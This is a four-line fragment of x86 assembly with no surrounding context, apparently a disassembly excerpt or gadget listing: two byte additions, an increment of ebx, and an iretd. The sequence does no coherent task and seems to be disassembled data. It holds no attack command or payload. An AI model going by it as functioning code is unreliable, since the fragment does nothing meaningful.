add byte [ebp - 0x32], al
inc ebx
add byte [esi], al
iretd